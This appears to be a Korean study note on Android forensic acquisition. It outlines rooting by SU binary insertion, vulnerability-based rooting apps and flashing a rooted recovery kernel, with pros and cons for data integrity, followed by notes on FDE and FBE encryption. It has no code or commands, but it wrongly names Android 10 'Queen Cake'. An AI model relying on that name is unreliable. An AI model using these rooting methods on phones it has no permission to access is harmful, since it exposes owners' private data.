    • 권한 획득 방법
      1. 관리자 권한 획득을 위해 'SU' 바이너리 삽입하는 방법
      2. 관리자 권한을 갖는 커널 이미지를 생성하거나 수집하여 스마트폰에 삽입 후 부팅
  • 효과
    • 사용자 관점: 블랙 마켓 앱 사용, 폰트/테마 변경
    • 디니털 포렌식 관점: 플래시 메모리 데이터 수집
  • 앱 설치를 이용한 루팅
    • 루팅 기능을 가진 앱을 설치하여 루트 권한을 획득하는 방법
    • 대부분 취약점을 이용하여 루트 권한을 획득
    • 앱을 설치하므로 사용적 영역(/userdata 영역)의 무결성 훼손
    • 장점
      • ADB 프로토콜 사용하여 데이터 전송 속도 빠름
      • 플래시 메모리 전체 또는 사용자 데이터 파티션 등을 선택적 수집 가능 → 추후 시간 단축
    • 단점
      • 루팅 앱에서 지원하는 기기만 루팅 가능
      • 데이터 수집 이후 별도의 언루팅(Unrooting) 작업 필요
  • 플래싱
    • 기존 펌웨어를 다른 펌웨어(루팅되어 있는 커스텀 펌웨어)로 덮어씌우는 방법
    • 주로 리커버리 영역에 수정된 펌웨어를 덮어씀
    • 루트 권한을 가진 커널 이미지(Rooted Kernel Image) 제작
      1. 원본 펌웨어에서 리커버리 커널 이미지 추출
      2. 리커버리 커널에서 관리자 권한 획득 설정 적용
      3. 데이터 수집 작업 위한 도구를 포함
    • 제작된 커널 이미지를 리커버리 파티션에 플래싱
      • 스마트폰을 다운로드 모드로 진입시키고 Odin과 같은 플래싱 전용 도구를 이용해 플래싱 수행 후 리커버리 모드로 부팅
      • 파티션 이미징, 파일 복사, 물리 메모리 획득 등이 가능해짐
    • 장점
      • 플래시 메모리 전체 또는 사용자 데이터 파티션 등을 선택적으로 수집 가능
      • 사용자 데이터 파티션 무결성 유지
    • 단점
      • 플래싱 대상 파티션의 무결성 훼손
      • 데이터 수집 이후 별도의 언루팅(Unrooting) 작업 필요, 원본 펌웨어 없는 경우 원상 복구 불가

안드로이드 암호화(참고)

  • 안드로이드 암호화 적용되어 있다면 physical dump로 데이터 수집해도 의미가 없음
  • 기본적으로 안드로이드 운영체제는 기기의 모든 사용자 데이터를 암호화하길 권장
  • 전체 디스크 암호화(Full Disk Encryption, FDE)
    • 사용자가 생성한 모든 데이터를 암호화하여 저장 매체에 기록
    • 잠금 시 디스크 암호화, 잠금 해제 시 디스크 암호화 해제
      • 잠금 시 긴급통화만 가능
    • 안드로이드 운영체제 Kitkat(Ver 4.4) 도입 / 안드로이드 운영체제 Mashmallow(Ver 6.0) 필수
  • 파일 기반 암호화(File Base Encryption, FBE)
    • 파일마다 고유한 키를 통해 독립적으로 암호화하여 저장 매체에 기록
    • 잠금 시, 잠금 해제 시 사용할 수 있는 어플리케이션을 따로 관리
    • 안드로이드 운영체제 Nougat(Ver 7.0) 도입 / 안드로이드 운영체제 Queen Cake(Ver 10.0) 필수
  • 안드로이드 운영체제 암호화로 인해 물리적으로 수집한 데이터 분석에 한계 존재
    • 데이터 암호화 해제된 상태에서 데이터 수집해야 함 → Logical dump 필요

+ Recent posts